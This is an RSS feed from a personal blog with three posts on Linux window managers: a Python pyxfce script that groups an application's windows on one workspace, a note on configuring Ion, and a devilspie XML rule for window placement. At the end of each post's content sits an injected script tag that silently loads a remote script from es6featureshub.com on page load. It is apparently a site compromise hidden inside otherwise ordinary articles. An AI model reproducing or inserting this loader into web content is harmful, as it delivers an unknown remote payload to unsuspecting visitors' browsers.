<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; window manager</title>
	<atom:link href="http://www.larsen-b.com/tags/window-manager/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Hacking your window manager with Python</title>
		<link>http://www.larsen-b.com/Article/208.html</link>
		<comments>http://www.larsen-b.com/Article/208.html#comments</comments>
		<pubDate>Mon, 27 Jun 2005 16:12:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>
		<category><![CDATA[xfce]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I was looking for a way to hack my window manager in Python. I want to use special piece of code to handle the window placement, or display stuffs in the background.. It looks like pyxfce meet my needs, so &#8230; <a href="http://www.larsen-b.com/Article/208.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I was looking for a way to hack my window manager in Python. I want to use special piece of code to handle the window placement, or display stuffs in the background..</p>
<p>It looks like <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> meet my needs, so I decided to give it a try. The first thing to do is to build the latest svn of xfce. Next step play with the python wrapper.</p>
<p><strong>Update</strong>: You don&#8217;t need the latest version (svn) of xfce. <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> works w/ xfce 4.2.1. The debian package is broken, as rely on a old libxfcegui (4.1)</p>
<p><strong>Update 2</strong>: Debian package is fixed right now :)</p>
<p>Here is a little example of what you can do without too much pain. This script wait for every new window, and stack it on the same workspace as previous other windows of the same app. For example, the emacs windows is launched of the workspace &#8217;4&#8242;, all other emacs windows will be displayed on this workspace.</p>
<pre class="literal-block">import sys
import xfce4
import gtk

black_list = ['xfrun4','Terminal']

def newWinHandler(screen,win):
    name =  win.get_resource_name()
    if name not in black_list:
       for w in screen.get_windows():
           if w != win and w.get_resource_name() == name:
              dest = w.get_workspace()
              win.move_to_workspace( dest )
              break

screen = xfce4.netk.screen_get_default()
screen.connect("window-opened",newWinHandler)
gtk.main()</pre>
<p>The major issue of <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> is the lack of documentation, you can do a lot of stuffs with it like creating custom xfce applications, but i didn&#8217;t find anything about this.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/208.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ion Window Manager</title>
		<link>http://www.larsen-b.com/Article/166.html</link>
		<comments>http://www.larsen-b.com/Article/166.html#comments</comments>
		<pubDate>Mon, 04 Oct 2004 19:59:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ion is a powerfull window manager, but the main issue of this WM is the configuration. We have already chat a little w/ Ian about this. While browsing the web, I discover this post on IBM Network. So now, Ion &#8230; <a href="http://www.larsen-b.com/Article/166.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a class="reference" href="http://modeemi.cs.tut.fi/~tuomov/ion/">Ion</a> is a powerfull window manager, but the main issue of this WM is the configuration. We have already chat a little w/ Ian about this. While browsing the web, I discover <a class="reference" href="http://www-106.ibm.com/developerworks/linux/library/l-cpion.html">this</a> post on IBM Network.</p>
<p>So now, Ion is really fine, and IBM provide a nice doc :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/166.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Better window placement for every WM</title>
		<link>http://www.larsen-b.com/Article/159.html</link>
		<comments>http://www.larsen-b.com/Article/159.html#comments</comments>
		<pubDate>Mon, 13 Sep 2004 22:19:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>
		<category><![CDATA[xfce]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m using xfce window manager since a while now. I&#8217;m only using the taskbar and the wm in fact. But i was looking for a feature for a long time. Xfce wm doesn&#8217;t support matched window placement (ala sawfish). For &#8230; <a href="http://www.larsen-b.com/Article/159.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m using <a class="reference" href="http://www.xfce.org">xfce</a> window manager since a while now. I&#8217;m only using the taskbar and the wm in fact. But i was looking for a feature for a long time. Xfce wm doesn&#8217;t support matched window placement (ala sawfish).</p>
<p>For example, there is no way to place gkrellm on every workspace, or tell Kmail for stick on workspace 2. Yesterday, while surfing, i discover <a class="reference" href="http://www.google.fr/search?q=devilspie">devilspie</a>.</p>
<p>Example:</p>
<pre class="literal-block">&lt;!-- For gkrellm: place on every desktop, and hide in the tasklist --&gt;
&lt;flurb name="gkrellm on all Desktops"&gt;
  &lt;matchers&gt;
    &lt;matcher name="DevilsPieMatcherWindowName"&gt;
      &lt;property name="application_name" value="gkrellm"/&gt;
    &lt;/matcher&gt;
  &lt;/matchers&gt;
  &lt;actions&gt;
    &lt;action name="DevilsPieActionSetWorkspace"&gt;
      &lt;property name="pinned" value="TRUE"/&gt;
    &lt;/action&gt;
    &lt;action name="DevilsPieActionHide"&gt;
      &lt;property name="skip_tasklist" value="TRUE"/&gt;
    &lt;/action&gt;
  &lt;/actions&gt;
&lt;/flurb&gt;

&lt;!-- stick Kmail on desktop 4 --&gt;
&lt;flurb&gt;
  &lt;matchers&gt;
    &lt;matcher name="DevilsPieMatcherWindowName"&gt;
      &lt;property name="application_name" value="KMail"/&gt;
    &lt;/matcher&gt;
  &lt;/matchers&gt;
  &lt;actions&gt;
    &lt;action name="DevilsPieActionSetWorkspace"&gt;
      &lt;property name="workspace_index" value="4"/&gt;
    &lt;/action&gt;
  &lt;/actions&gt;
&lt;/flurb&gt;</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/159.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
